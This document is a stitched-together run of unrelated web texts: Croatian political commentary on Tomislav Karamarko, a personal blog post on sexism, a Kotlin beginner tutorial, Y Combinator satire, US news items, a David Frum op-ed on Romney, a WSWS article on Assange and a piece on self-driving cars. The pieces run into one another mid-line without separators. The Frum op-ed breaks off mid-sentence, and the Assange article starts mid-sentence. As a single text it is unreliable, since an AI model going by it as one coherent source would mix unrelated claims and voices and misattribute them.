Dakle, Tomislav Karamarko, koji danas proziva ponovno "crvene vragove", moć i utjecaj dobio je upravo radi "crvenih vragova" (SDP) i jednog tadašnjeg "zelenog vraga" (HSS), a "žuti vragovi" (HSLS) ga jedini nisu željeli vidjeti tamo!
Tomislav Karamarko ostaje na tom položaju, šefa UNS-a do reforme tajnih službi 2002. godine. Tadašnjom reformom ovlasti nad obavještajnom zajednicom prelaze na Vladu, a on čini se više nije imao jakog zaštitnika – Stjepana Mesića. Negdje su se razišli. Karamarko je imao svoje prijedloge reformi tajnih službi, ali stvari su krenule drugim smjerom i za njega nije bilo mjesta.
Karamarko o Udbašima
Nakon što mu je prestao mandat 2002. godine, Tomislav Karamarko daje zanimljiv intervju Slobodnoj Dalmaciji 29.4.2002., gdje spominje i djelatnike bivših tajnih službi. Zanimljivo je da su njegovi tadašnji stavovi i više nego pomirljivi.
Na novinarsko pitanje "Kakva je zapravo uloga kadrova iz Udbe, odnosno KOS-a? Jesu li svi oni prema državi uopće bili dobronamjerni?"
Karamarko odgovara: "Nama je bio značajan svaki čovjek koji je htio raditi za Hrvatsku u vrijeme njezina osamostaljivanja. Jer, bilo je različitih pobuda. Mnogi su vidjeli da je došlo vrijeme kad moraju pomoći domovini, neki su bili pragmatici jer nisu imali gdje, poneki su opet bili zlonamjerni, ali nisu mogli doći do izražaja, jer je tijek događaja bio prejak u pravcu stvaranja neovisne države. Ipak, u toj naslijeđenoj profesionalnoj strukturi bio je zamjetan sindrom političke policije. Do pravih kadrova doći ćemo tek uz uvjet da službe zaštitimo od politike."
Vrlo pomirljivo rekli bismo! Sasvim, sasvim različito od današnje retorike!
Karamarko u strahu od nezgodnih pitanja
Predsjednik HDZ-a definitivno je uspješan operativac – da nije, ne bi ga vječni politički likovi poput Manolića i Mesića držali uz sebe. No, Tomislav Karamarko u svojoj političkoj i profesionalnoj povijesti nije nikako bio dosljedan desničar, Tuđmanovac i antikomunist. Bio je – oportunist.
Početak rata (ono: "Gdje si bio '91?") dočekao je Karamarko u uredu, na mjestu koje jest bilo iznimno važno, ali istini za volju, najveća opasnost mu je bila da mu klamerica padne na nogu ili da uđe u boj s poludjelim fotokopirnim strojem.
Bio je u MUP-u kasnijim fazama rata – ali na mjestu načelnika Policijske uprave zagrebačke, što je puno više administrativni, a ne operativni položaj (makar se vodi kao borbeni sektor). Nakon promjena 2000. ima veliku podršku Mesića, ali i Račana – i bez te dvojice nikada ne bi došao na mjesto šefa svih tajnih službi.
Najveća tajna Tomislava Karamarka u biti nije to da li je možda ili ne bio sitni doušnik – već da je na mjesto najvećeg utjecaja, mjesto šefa UNS-a (naredne obavještajne agencije nisu imale takav utjecaj ni značaj) došao temeljem odluke dva čovjeka – Stjepana Mesića i Ivice Račana. Dakle, upravo onih "crvenih" i "petokraka" protiv kojih sada lupa na povremenim javnim nastupima.
Pomalo na kraju dolazimo i do zaključka zašto Tomislav Karamarko izbjegava javne nastupe – mogla bi se pojaviti nezgodna pitanja. Cijelu kampanju gradi na politici, političkim podjelama, borbi protiv nekih imaginarnih komunista – a tu, upravo na toj političkoj priči i njemu samome bi se mogla postaviti brojna nezgodna pitanja.
Inzistiranje na politici i čisto političkim pitanjima umjesto na ekonomiji (gdje bi i bolje pripremljen srednjoškolac mogao u verbalnom duelu "torpedirati pola Milanovićevih ministara koji su zadnji puta nešto stvarno u realnom sektoru radili na školskoj praksi) – ispuhalo se. Ispuhali su se i prosvjedi malog dijela branitelja, ma koliko Karamarko na početku mislio na njih.
A pomalo, ispuhuje se i prednost koju na anketama ima HDZ. I to nije neobično – čovjek poput Tomislava Karamarka jednostavno ne može i ne zna odgovoriti na bitna pitanja Hrvatske danas. A ona su ekonomska. Štoviše, gdje je sve bilo politički – bolje bi mu bilo da o politici šuti, je ima ona narodna: "S kim si – takav si!"
I tako, neovisno o izjavi Jože Manolića, za koju ionako nitko ne može potvrditi istinitost – počet će se topiti i politička karijera Tomislava Karamarka. Daleko je on od onoga za što se izdaje, a glasna retorika samo je pokrivač za politički prilično šuplju priču koja bi mogla na kraju HDZ stajati i izborne pobjede.I am not sexist and I don’t condone violence. You might disagree with me after reading this post.
The Spark: A Little History
I shared a question on my Facebook wall the other day: what do you have an irrational fear of? Hundreds of people answered (I started things off with my perfectly rational fear of spiders because, spiders) and with a few exceptions I’ll note in a moment, people opened themselves up, sharing what truly frightens them, from the seemingly silly (cherry tomatoes?) to the downright horrifying (elevator cables snapping, airplanes crashing). I loved how many people cared and supported one another, sharing stories about their true fears.
The response was amazing!
The notable exceptions: about five or so men who said, “being asked my irrational fear on social media.” They all basically laughed it off in the same *wink wink har har* manner, at different times, without reading the thread to see that other men had already said the exact same thing (and then there’s the one guy who, apropos of nothing, made an inappropriate comment about my ‘tantalizingly red hair’), which I ignored completely — I’m supposed to be flattered?
Realizations
I realize these men thought they were being funny, original, possibly hilariously comical however, this was a post on my wall where, if you don’t know me at all, I often ask people to write what scares them, to reveal their vulnerabilities. I found it terribly disrespectful of these guys to joke around this way, not only to me but also to the brave, wonderful people who had gone out of their way to share their fears with others in such a public way. We really had engendered a bonding camaraderie which these guys ignored completely by injecting this type of immature tomfoolery.
I realize that some men (not all men, so if this doesn’t apply to you, good men of the world who would never do this and didn’t do this, I’m not talking to you and am not lumping all men into a category of ‘all men are dicks,’ because I appreciate and respect you, truly), will never share their true fears with anyone, especially themselves, let alone in a public forum– so the easy answer is to go on someone else’s wall and criticize or make sarcastic comments. Yes, some women will do that, too. (In fact, one woman did make such a comment in a non-humorous way — she explained that if a future employer saw her comment, she was afraid she may lose out on a job opportunity.)
I shared my frustrations in a different post, accompanied by an ironically focused humor meme which states: “boys are stupid, throw rocks at them,” — see screenshot of my post with the cartoon below. I’ll even link to this post so you can see all the replies for yourself (though you’d have to friend me to see it in its entirety). What’s interesting is that because I made the observation that it was only men who made goofy comments on my original post, combined along with the obviously satirical cartoon, people accused me of being sexist. Oh, and promoting violence.
My Response Post
The Cartoon That Incites Violence
(which is a book by Todd Harris Goldman — a BOY)
What I Believe
I focus on supporting what I love and not bashing what I don’t, but I must, in this case, stand up for what I strongly believe in. By stating my observation that 90% of these silly comments were made by men, people accused me of being sexist.
Interesting.
“Here’s what’s strange, and what’s extraordinary
Nothing changes, but nothing stays the same”
~ Room in my Heart, Jonatha Brooke
(copyright, Jonatha Brooke)
I don’t promote negativity. I promote compassion and polite discourse. I believe in humor (in fact, I wrote two best selling satirical humor books). When I received comments such as ‘if that cartoon were of girls having rocks thrown at them, you’d feel different,’ or ‘do you literally believe boys are stupid and should have rocks thrown at them?’ I feel I have to respond.
No. I posted a humorous cartoon that I thought, as educated adults, people wouldn’t take literally. That is my mistake. One of the Four Agreements is: don’t make assumptions, so that’s on me.
The Bigger Issue
But there’s a bigger issue here (so get your rocks ready):
I simply do not feel it’s possible for men to be oppressed in the same way women have been throughout history and even now (particularly given that men control 95% of the clout in media), so I disagree with the straw-man argument that women oppress men — it’s a false equivalence.
Feel free to throw your rocks now — or maybe your dictionary (which, by the way, was created by men).
I love this article by Melissa A. Fabello, Co-Managing Editor of Everyday Feminism, on Everyday Feminism, which breaks down why sexism against men (aka, reverse sexism) is just not possible. Sure, women stereotype men, just as men stereotype women. Sure, there’s prejudice and discrimination against both genders, which totally sucks. However, reverse sexism isn’t possible because these four main tenets would have to be true:
1. It Is Pervasive
It is woven throughout social institutions, as well as embedded within individual consciousness.
2. It Is Restrictive
That is, structural limits significantly shape a person’s life chances and sense of possibility in ways beyond the individual’s control.
3. It Is Hierarchical
That is, oppression positions one group as “better” than another.
Dominant or privileged groups benefit, often in unconscious ways, from the disempowerment of subordinated or targeted groups.
4. The Dominant Group Has the Power to Define Reality
That is, they determine the status quo: what is “normal,” “real,” or “correct.”
In order for women to perpetuate reverse sexism in ways that consistently and influentially impact society (including my post about throwing rocks at boys), any and all of the above would have to be true, and they’re not — at least, not at a comparable level. The ‘tit for tat’ argument doesn’t work here.
What makes me the most sad about all this? Women deal with sexism on the daily on social media just by being on social media. Sure, men get it too, but on the same level? Not even close. See, it’s not about tit for tat. That’s the point! I’m not denying that sexism happens to men — what I’m saying is that it’s not comparable.
(I have male friends who are being harassed by female bosses in their jobs as I write this — it sucks and I support these dear friends in going after these women to the fullest extent they possibly can. I hope these women are fired for their abuse of power. I’m not a denier. It happens. Again, my point is, on the whole of society in general, the scale of incidence is much lower for men.)
Read this amazing article by best selling Booktrope author J.C. Hannigan on social media perversity, or one of my past articles on similar topics, or this article from the fabulous Chuck Wendig on how women are treated on the Internet (and for the record, I love when men support women — the more the merrier). And don’t even get me started on what Trump has the nerve to say about women, Megyn Kelly and Rosie O’Donnell being only the most recent examples (bimbo, pig). How is this acceptable at all?
And if you think I’m just making this all up, the fact remains that women continue to make 78 cents to the dollar compared to men, a gap that has remained largely unchanged for more than a decade. The problem is even worse for women of color (Source: Economic Justice).
Beyond Sexism
Apart from all of that, what upset me most about the incident: people attacked me for sharing a frustration, an opinion they didn’t approve of, on my account, on a space I’ve created, developed, and branded over many years. See, what I love about social media is while it’s indeed social, about building relationships and connections, I don’t need anyone’s permission to post what I want — I’m an adult woman, and as long as what I’m posting is within Facebook’s guidelines (no porn, no promotion), do I need to ask for anyone’s approval or consensus? No, I don’t.
Neither do you. It’s not my policy to come over to your wall and tell you what to post, criticize your opinions, or bully you for your beliefs — it baffles me that people feel it’s their right to do the same to others. This is why people become depressed (read more about Social Comparison Theory here), create plastic veneers of themselves, or post nothing but happy cat videos and rainbow-crap inspirational quotes — nobody wants to be R E A L because what happens when we reveal our true selves? People laugh, bully, and criticize and that hurts if we take it personally.
I’ve thought seriously of shutting down my Facebook account this past few days but I won’t, and you know why? Because of the advocacy work I do with childhood sexual abuse survivors, raising money for the Joyful Heart Foundation, the real-life friendships I’ve made, the Gravity Imprint I direct for Booktrope, and the BadRedhead Media client work I do and love — all are tied into Facebook. That’s what I take personally and means more to me than anything else, next to my babies.
I have taken to shutting my Facebook down on Fridays (as many of you know, I take #FFF: Facebook Free Fridays) already and will continue to do so; perhaps, I’ll carry that over to other days as well because frankly, I don’t need the negativity and does it really matter anyway? Not to me. I keep doing what I do, posting what I want, and writing my stories. I encourage you to do the same.
Most likely, this article will feed the negativity and I accept that, but like my Facebook wall, this blog is my home, too.
I welcome your respectful comments.
[blurbit]Let’s Start Coding In Kotlin
The first thing you need to do is download and setup IntelliJ IDEA. Go ahead and follow that tutorial and then come back to that article once you have completed the last step. If you run into any issues please let me know by commenting on this article and I’ll do my best to help you out.
Okay, so at this point you should have IntelliJ setup and were hopefully able to run your first app in Kotlin. Congratulations, I knew you could do it. So let’s start by creating our first Kotlin program together. We are going to expand on the Hello World example you likely just completed to allow for input from your keyboard as well as responding to that input.
Create A New Package
I love organization. So the first thing we are going to do to achieve this is create a new package. In slightly-less-techy words a package can be thought of as a folder on your computer, except instead of organizing pictures, it’s a way to organize your code.
In even less-techy words a package can be thought of as a moving box (also known as a real life package). When you are moving you might pack your kitchen in a series of boxes and those boxes may be labeled silverware, glassware, small appliances, pots/pans, and non-perishable food. This would be a great way of packing your moving boxes because when you need to unpack them in the future you know what to expect in each box which should make the process of moving easier.
So make use of packages to organize your code. In IntelliJ you can achieve this by right clicking on src, going to New, and selecting Package. Go ahead and name the package part_000.
Create A New Kotlin File
Now it’s time to start adding code into our package. For this we will need create a new Kotlin File. You can achieve this by right clicking on part_000, going to New, and selecting Kotlin File/Class. We’ll go ahead and name this file app, make sure that the Kind selected is File and click OK.
Make Kotlin Say Hello To You
Within your newly created Kotlin File we’ll start out by typing the following code.
fun main(args : Array<String>) {
// This is a comment in Kotlin, it's ignored by the computer
// but can be useful for humans trying to understand the code.
}
For the purpose of this article just assume that fun main(args : Array<String>) is magic. I promise I will explain what this is doing someday in the future but for right now just know that this is where your programs will run.
With that out of the way let’s figure out what the { is and what the significance is. A package is used for storing files and a file is where your code will be created. So the { is used for organizing similar pieces of code, you can also refer to this as logic. When you are done with that piece of logic you end it with a } to let the program know that it has reached the end of that logic.
The last piece is the text which started with // these are known as comments. They are completely ignored by the computer and are typically used for describing what your code is doing. It’s often useful to comment or document your code early on to describe what you’d like your program to do, and then go back and fill it in with the logic. So let’s go ahead and update our file to look more like this.
fun main(args : Array<String>) {
// Request the user for their name.
// Print out a message with their name and let them know we're
// going to start learning how to program in Kotlin.
}
Great, so now we have described what we expect our program to do. We want to ask for the user’s name and then print out a message with their name letting them know we’re going to start learning how to program in Kotlin. On a side note, if you are just copying + pasting this into your Kotlin File (also known as app.kt), please stop. The best way to learn is to actually type this out for yourself and pay attention to what your IDE (Integrated Development Environment) is doing. You’ll notice that it may try to autocomplete certain things for you or the text color may change based on your input. All of this will make your life so much easier in the future.
Alright, great. So the next thing we should probably do is fill in the logic to fulfill the first comment. If we do that we’ll end up with something like this.
fun main(args : Array<String>) {
// Request the user for their name.
val yourInput = Scanner(System.`in`)
System.out.print("Hey, who do I have the joy of speaking to? ")
// Print out a message with their name and let them know we're
// going to start learning how to program in Kotlin.
}
Alright so let me explain what both of those lines are doing in more detail. The first line is creating a variable named yourInput. Variables are one of the basic building blocks which are found in every program. The method for defining variables will differ from language to language and in Kotlin they are defined with the val keyword followed by the name followed by letting the program what it is equal to.
So with this line we’ve created a variable named yourInput which will take your input from the keyboard. For the purpose of this article don’t worry about what Scanner(System.'in') is doing, just know that it is what we are using to capture input from your keyboard.
You may have seen this, in the next paragraph I’ll explain why in was blue and System had a red squiggle.
One thing you may have noticed if you tried to type System.in instead is that IntelliJ highlighted the word in and gave you an option to select something called an InputStream, if you pressed enter you’ll then see that it added a tilde around the word in. The reason it did this was because in Kotlin the word in is known as a keyword which is reserved by the system, nothing else can be named after a keyword.
The next line is telling the system to output a message to the user. We’ll break down this a little further by first exploring what System.out.print(...) does. Essentially we are telling the system that we want to output something through printing it out on the screen. Anything within the parenthesis will be printed out to the user. In this case we are asking them who they are.
With that it is time to retrieve their name and print out a welcome message. Go ahead and update your code to look something like this.
fun main(args : Array<String>) {
// Request the user for their name.
val yourInput = Scanner(System.`in`)
System.out.print("Hey, who do I have the joy of speaking to? ")
// Print out a message with their name and let them know we're
// going to start learning how to program in Kotlin.
val yourName = yourInput.nextLine()
System.out.println("Hello $yourName, let's learn how to program with Kotlin :)")
}
Now before I explain what you just did go ahead and run the application and see for yourself. For your reference you can run the app by clicking on the icon to the right of fun main and selecting Run part_000.AppKt
It may take a moment to start. Essentially the computer is taking what you’ve typed in Kotlin and converting it into something that your computer can understand, this is known as compiling, you may hear programmers joke that they are going to go on lunch while they wait for their code compile; sadly sometimes it can take several minutes to several hours to compile very large applications. Don’t worry, the programs we are writing should never take more than a few seconds to compile.
So by this point you may have noticed the bottom of IntelliJ update with the following text: “Hey, who do I have the joy of speaking to?”. If you click into that section (this is known as a Terminal) and type out your name followed by pressing Enter you should notice that your application greets you and then terminates (finishes running). Below is an example of what I saw when I ran this on my computer.
So now that you’ve seen the program run it might make sense for me to explain what those two lines of code actually did. On the first line val yourName = yourInput.nextLine() we created a second variable called yourName. This variable is taking your input from the keyboard and once you pressed Enter it took that input and set it to yourName.
Neato torpedo, so what about the second line? It’s very similar to what we did to ask the user for their name except we are using the value stored by yourName to fill in the value dynamically.
System.out.println(“Hello $yourName, let’s learn how to program with Kotlin :)”)
You may have noticed that instead of print we are saying println instead. All this is doing is telling the system to print an entire line of data so that the next time the system prints something out, it will be on a new line. You also probably noticed that we are referencing yourName with a dollar sign between the quotation marks. This is how you can reference a variable in Kotlin from within a String of characters. With that I’ve realized that I failed to explain one of the most important aspects of our first program, and that is what the "" are. So I’ll go ahead and finish this article by explaining that.
What The Heck Are the Quotation Marks For?
One of the most popular kinds of variables in any program is known as a String. You can think of a String the same way you would think of text, because that is essentially what it is. You define a String by enclosing the text in quotation marks, for example if I wanted to store my name as a variable I might do something like this:
val codyEngel = "Cody Engel"
And that is all I have to teach you for this introduction. Congratulations, you just created your very first (well technically second) program in Kotlin!Step 3
I’m going to assume you’ve completed Step 2, and that you are reading Step 3 from beautiful San Francisco. Step 3 involves becoming one with Y Combinator. For those of you not familiar with YCombinator, YCombinator is a mythical entity that turns shmucks like you into successful startup founders in exchange for a measly 7% of your startup, which in your case will be worth at least $70,000,000.
Beautiful downtown San Francisco, just 1 block from your $3000, 100 square foot closet.
For this $70,000,000 worth of equity in your soon-to-be Unicorn, they will provide you with access to a number of inspirational speeches, free snacks (mostly coffee and Soylent, and sometimes caffeinated Soylent), and most importantly, $150,000 in cash, which is just enough to cover your rent, food, taxes, and expenses for the next few weeks of living in San Francisco.
But to cash out on this sweet deal, you will need to study up. Specifically, you will need to memorize every Paul Graham essay. All Unicorn founders have memorized these essays, and you will be quizzed on them frequently and when you least expect it. You will also need to nitpick and criticize every single article submitted to HackerNews, YCombinator’s forum.
Pictured: you at the birth of your child, being quizzed by Paul Graham (posing as a doctor) about Paul Graham’s essays.
This is a crucial step that many founder mess up — remember Digg? MySpace? Pets.com? No? It’s no coincidence that none of them criticized every single article on HackerNews.Sen. Mary Landrieu, D-La., speaks at a campaign event in New Orleans, Saturday, Nov. 1, 2014. (AP Photo/Gerald Herbert)
BATON ROUGE, La. -- Sen. Mary Landrieu (D-La.) lobbed a barb at the Democratic Senatorial Campaign Committee Tuesday, saying they effectively abandoned her after the Nov. 4 midterm election.
"I am extremely disappointed in the Democratic Senatorial [Campaign] Committee. I've said that. You know, they just walked away from this race," Landrieu said in response to a Washington Post question about Democratic groups mainly staying on the sidelines during the runoff. She made her remarks after a rally here just steps from City Hall.
The DSCC canceled its television ad reservations shortly after the Nov. 4 midterm election in which Democrats lost control of the Senate.
Landrieu advanced to a runoff against Rep. Bill Cassidy (R) in the Nov. 4 all-party primary. Save for limited ad buys from a handful of groups totaling about $216,000, Landrieu has had to face millions of dollars worth of pro-Cassidy ads on her own. The National Republican Senatorial Committee alone is on pace to spend more than $1.4 million on ads, records show.
A DSCC spokesman did not immediately respond to a request for comment.
Landrieu, who most close watchers see as a clear underdog in Saturday's runoff, credited her Senate colleagues for helping her, even as the national campaign arm left her behind. Sens. Cory Booker (D-N.J.) and Joe Donnelly (D-Ind.) have recently campaigned for her here in Louisiana.
"My colleagues have not walked away," she said.View Overnight shootings in a larger map
Dallas police are investigating two shootings that left two men dead in the span of four hours overnight.Police say the first shooting began as a robbery late Monday in a Pleasant Grove neighborhood in the 1900 block of Utica drive, near Bruton Road and South Buckner Boulevard.The victim and a witness were standing on a street corner when the gunman and three other men approached and demanded their property. They complied, but one of the robbers opened fire. The suspects fled in a white four-door sedan, possibly a Mercury.David Pimentel, 22, of Garland was taken to Baylor University Medical Center, where he died, authorities say.The second shooting happened about four hours later at an apartment complex in the 3900 block of Altoona Drive, near Walton Walker Boulevard and South Cockrell Hill Road.The victim was in an apartment at the Buena Vista Townhomes shortly before 1:30 a.m. when two men knocked on the door. After an altercation, the man was shot. A witness fled and called 911, and police found the victim lying between two buildings.No arrests were reported in either shooting, both of which remain under investigation this morning.Editor's note: David Frum, resident fellow at the American Enterprise Institute, was special assistant to President George W. Bush in 2001-2. He is the author of six books, including "Comeback: Conservatism That Can Win Again" and the editor of frumforum.com
(CNN) -- Catholic, Orthodox and Evangelical Christian leaders last week issued a bold political statement. They intended to target the Obama administration. Inadvertently, they may have also hit probable Republican presidential candidate, Mitt Romney.
Mitt Romney ought to rank atop the Republican candidates for president in 2012. He finished second in votes cast in the primaries of 2008. He is a candidate with immense private-sector economic expertise in a time of urgent economic debate. But Romney has a political problem: his Mormon religious faith. A Gallup survey in December 2007 found that 18 percent of Republicans would not vote for a Mormon for president.
Romney has worked hard to persuade Republicans to think again. In the 2008 cycle, many conservative Christians showed support for his candidacy. But the important new statement by Christian leaders suggests that Romney may face even greater religious resistance in 2012.
The Manhattan Declaration -- that is the statement's name -- offers an ominous assessment of the Christian condition in Barack Obama's America. It warns that the administration and its supporters will "trample upon the freedom of others to express their religious and moral commitments." It worries that Christians may soon face outright persecution at the hands of government authorities:
"[W]e remember with reverence those believers who sacrificed their lives by remaining in Roman cities to tend the sick and dying during the plagues, and who died bravely in the coliseums rather than deny their Lord.... Like those who have gone before us in the faith, Christians today are called to proclaim the Gospel of costly grace."
In the face of these looming threats, more than 125 signatories pledged themselves to outright civil disobedience.
"[W]e will not comply with any edict that purports to compel our institutions to participate in abortions, embryo-destructive research, assisted suicide and euthanasia, or any other anti-life act; nor will we bend to any rule purporting to force us to bless immoral sexual partnerships, treat them as marriages or the equivalent, or refrain from proclaiming the truth, as we know it, about morality and immorality and marriage and the family."
Now notice something curious: not one of the initial publicly identified signatories of the Manhattan Declaration is Mormon.
Through the cultural conflicts of the past decade, Mormons and the Mormon church have played a decisive role. The church itself gave $190,000 to the fight to repeal same-sex marriage in California. Individual church members many millions more. (McClatchy newspapers have quoted estimates as big as $20 million, although that seems improbably high.)
That degree of commitment might seem to entitle you to a seat at the table. But no. The framers of the Manhattan Declaration say they "act together in obedience to the one true God, the triune God." Mormons do not accept the concept of God as three-in-one.
Conceded: Every religious grouping sets its own boundaries and definitions. Sikhs revere Muhammad as a prophet, but they are not Muslims. Jews for Jesus sometimes keep kosher, yet they are not regarded as Jews by most religious authorities. Christians are of course entitled to decide for themselves whether they will accept Mormons as "part of us."
But when it comes time to act in politics, it's the American way to leave sectarian tests behind. The most important social conservative group of the 1970s, Jerry Falwell's Moral Majority, made room for Mormons and Jews too.
Now that tradition is to be departed from. The next wave of social conservatism is presenting itself as a particularly Christian cause, with Christian defined in a way that would exclude not only Mitt Romney, but also the man who created Tiny Tim and Ebenezer Scrooge. (Charles Dickens was a Unitarian, not a Trinitarian.) For that matter, neither George Washington, nor John Adams, nor Thomas Jefferson, nor Abraham Lincoln was a believer in the Trinitarian God of the Manhattan Declaration.
Now here's the question. If this is a time when Christians must act as Christians together with other Christians -- and if Mormons do not qualify -- how can such Christians accept a Mormon like Mitt Romney as their political leader?
Evangelical leaders in 2008 tried to sell the idea that a man could be religiously repugnant yet politically acceptable. The influential Charles Colson famously cited the reputed remark of Martin Luther: Better to be governed by a wise Turk than a foolish Christian.
Yet just as Gallup predicted at the beginning of the 2008 cycle, the pro-Romney sympathies of some evangelical leaders did not translate into pro-Romney primary votes. Romney not only failed to win a single southern state in the Republican primaries, but he did not even finish second anywhere south of the Mason-Dixon line.
The exit polls strongly suggest the power of unease over Romney's faith. In Alabama, 78 percent of GOP primary voters described themselves as evangelicals. Half of them voted for Mike Huckabee, and that boost helped Huckabee win the state. In Georgia, 64 percent of Republicans identify as evangelicals. They voted 41 percent for Huckabee, 28 percent for Romney.
Romney did best in the secular Northeast (he won Massachusetts and Maine, and finished second in New Hampshire, New Jersey and Connecticut) and the West (he won Wyoming, Colorado and Nevada, and finished second in California and Arizona).
In the end, while Romney won almost 400,000 more votes than Huckabee and three more states, it was Huckabee who finished second in the delegate count: 270 vs. 140.
Since 2008, Huckabee's strength has grown inside the GOP. Romney's has sagged. Romney's 56 percent favorability rating among Republicans badly trails Huckabee's 72 percent.
Like many Republicans, I have many questions about Mitt Romney's bid for party leadership. They all relate to his public record and his civic convictions. I don't share his religious views. But is it not disturbing that in the United States in the 21st century a man of unquestioned personal rectitude should feel compelled to say, as Romney said in December 2007:
"If I am fortunate to become your president, I will serve no one religion, no one group, no one cause, and no one interest. A president must serve only the common cause of the people of the United States.
"There are some for whom these commitments are not enough. They would prefer it if I would simply distance myself from my religion, say that it is more a tradition than my personal conviction, or disavow one or another of its precepts. That I will not do. I believe in my Mormon faith and I endeavor to live by it. My faith is the faith of my fathers -- I will be true to them and to my beliefs."
Mormon America has provided leadership and |
his liberty and life. Under Swedish law, he can be held in solitary confinement for months before a trial is even held. He can also be extradited to the US, where he could face charges that carry the death penalty. US Vice President Joseph Biden has described Assange as a “high tech terrorist,” a charge repeated by others, raising the possibility that he could be thrown into a military prison on the orders of President Obama and held indefinitely as a “terrorist” without any legal recourse.
One need only note the treatment of Bradley Manning, the American soldier accused of passing information to WikiLeaks, to get an idea of Assange’s possible fate. Arrested in May 2010, he faces multiple charges including “aiding the enemy”—a capital offence. He has been held since then for the most part in solitary confinement, under conditions that, according to visitors, have reduced him to a semi-catatonic state.
The legal frame-up of Assange was reinforced by a campaign of disinformation and vitriol against him by the media. A central role has been played by the nominally liberal press, with the aim of justifying his silencing and poisoning popular opinion.
The New York Times was one of the original media partners of WikiLeaks and was allowed to publish the documents it had obtained. It acknowledged meeting with White House officials to discuss the most effective means of limiting the negative impact of the WikiLeaks revelations and published a series of scurrilous articles and commentaries denouncing Assange and attempting to discredit him. Following last week’s High Court ruling against Assange, its Sunday edition responded with the cynical headline, “Is this the WikiEnd?”
In Britain, the Guardian swiftly fell into line with the international campaign against Assange, to the point of editorialising in support of his extradition to Sweden. Following the High Court ruling, it published an opinion piece by Karin Olsson, the culture editor of the leading Swedish daily Expressen. Describing Assange as a “dodgy hacker from Australia,” she called on him to “give up his futile struggle against extradition and show a little respect to the Swedish justice system.”
In comments summing up the sharp shift to the right of the vast majority of those once considered liberals, she cited “left-wing commentator” Dan Josefsson as having recently admitted that Assange “was not the radical hero he had supposed, but ‘a solitary and shabby libertarian who wants to tear down democratic societies.’”
Such ad hominen attacks on Assange’s personality and motivations have become a commonplace, in the process relegating to an afterthought the pioneering and courageous journalism of WikiLeaks, which has exposed the high crimes of the major imperialist powers.
With few exceptions, the political organisations that claim to be of the left have done little or nothing to oppose the legal and political vendetta against Assange. In Britain, the Socialist Workers Party has written nothing on Assange since a five-sentence article in March, while the Socialist Party has not uttered a word for 11 months.
Back in December 2010, both organisations wrote with the aim of dismissing the significance of the WikiLeaks revelations. The SWP made a headline declaration December 7 that “Wikileaks Is Not a Threat,” while the Socialist Party pontificated as its final word on the matter: “As bad as the revelations are, socialists already knew about many of the lengths US imperialism would go to…”
It goes without saying that the trade unions in Britain have done nothing in Assange’s defence. The sole concern of the National Union of Journalists back in December 2010 was to praise WikiLeaks for its decision to rely upon “respected channels of journalism including Der Spiegel, the Guardian, the New York Times, Le Monde and El Pais” to ensure “responsible reporting in the public interest.”
The real role of these “responsible” and “respected” publications can be seen in their ongoing efforts to denigrate Assange.
Julian Assange must be vigorously defended and his deportation opposed. The destruction of Assange and WikiLeaks would be a victory for the forces of reaction everywhere and a serious blow to free speech, freedom of the press and the Internet, and basic democratic rights.
Experience testifies that this task cannot be entrusted to the supposed liberal circles of the more prosperous sections of the petty-bourgeoisie to which Assange himself is oriented.
Even the best elements from this milieu are incapable of opposing the rightward lurch of their peers and the political organisations to which they maintain an allegiance—be it Labour or the Liberal Democrats in Britain, the Democratic Party in the US or Sweden’s Social Democrats.
The World Socialist Web Site insists that the defence of Assange and WikiLeaks can be carried out only on the basis of a socialist, anti-capitalist and anti-imperialist perspective. Everything depends on a determined effort to politically mobilise the broadest possible layers of workers and youth internationally.
Robert Stevens
Robert StevensA century ago, America’s metropolitan areas featured dense central cities and suburbs built along streetcar and rail lines. Then the automobile came along and radically disrupted residential patterns. But today, it’s the car—at least the one with a human behind the wheel—that’s facing disruption. And the folks who build and sell houses are trying to figure out what it means for them—and you.
What would Washington look like if self-driven cars were a primary vehicle type? To enthusiasts, it’s an almost utopian image. Picture electric shuttles humming safely through the region. The environment gets cleaner, highway-fatality numbers get lower. As for what this means about where we’ll all live, answers are all over the place—literally.
One theory: It’ll be great news for suburbs and exurbs. Americans, the idea goes, like space but have avoided farther-flung neighborhoods because they’re wary of the schlep. Robocars could change that. “I can only see an automated vehicle, especially in a private-ownership-model world, incentivizing people to live even further from downtown,” says Adie Tomer, a fellow at the Brookings Institution’s Metropolitan Policy Program. “Even if their trip takes longer, the ability to sit in your car and watch a video, spend time with your kids playing games—that’s a very real counterforce.”
Forward-thinking developers and architects are also considering whether the trend of densely packed urban areas and mixed-use downtowns will reverse. “Those office parks and residential areas in the suburbs that are disconnected from mass transit have very quickly gone to B-class status,” says Jeff Barber, design leader at the architecture firm Gensler. “But now there’s discussion about ‘[Will] the suburbs start to look interesting again?’ ”
Still, the most commonly held theory is that self-driving cars could help central cities. In this scenario, the fact that the cars are constantly picking up and dropping off means that parking hassles will no longer matter. On-street parking is replaced by bike lanes and wider sidewalks. Lots are replaced by parks, and garages replaced by housing.
“It’s a huge opportunity to take real estate that makes up [much] of downtowns and create affordable and workforce housing,” says Gabe Klein, former commissioner of the DC Department of Transportation.
Developers are already building for this future. At the Wharf in Southwest DC, part of the underground garage is designed to be repurposed. Curbs outside buildings would have to change as well to accommodate constant passenger loading and unloading. “We’re looking into designing different queuing systems and more entrances to avoid backup,” says Kari Parekh of the developer JBG.
Perhaps surprisingly, developers don’t think robocars will spell doom for Metrorail—an enormously disruptive prospect in a region where billions have been invested in building around Metro stations. A change could actually help the system regain ridership, as autonomous shuttles funnel in commuters from previously inaccessible places. Such vehicles could “increase the reach of the Metro station by helping solve that last mile or two of travel to get to mass transit,” says Howard Jennings of Arlington’s Mobility Lab.
The good news for builders is that they have some time to figure this out. Though the first fully autonomous vehicles could reach the mass market within a few years, it will likely take two or three decades for the nation’s car fleet to turn over.
In the meantime, maybe local governments can figure out ways to avoid the more dystopian version of a self-driven future, the one in which traffic and sprawl increase as people ride solo to work and their cars clog parking lots all day. “Let’s say there’s no regulation, nobody pushing the concept of shared mobility,” says Klein. “People are just buying these things willy-nilly and [the cars] are running around empty while they eat potato chips on their couch.”
If you visited National Harbor last June, you may have caught a glimpse of what’s possible. Olli—an autonomous shuttle—ferried passengers up and down St. George Boulevard. It was just as much of a tourist attraction as a real test run, but the message was clear: We have the technology. Now it’s a matter of how we use it.
This article appears in the April 2017 issue of Washingtonian.100 little things about pregnancy, birth, and being a first-time mom
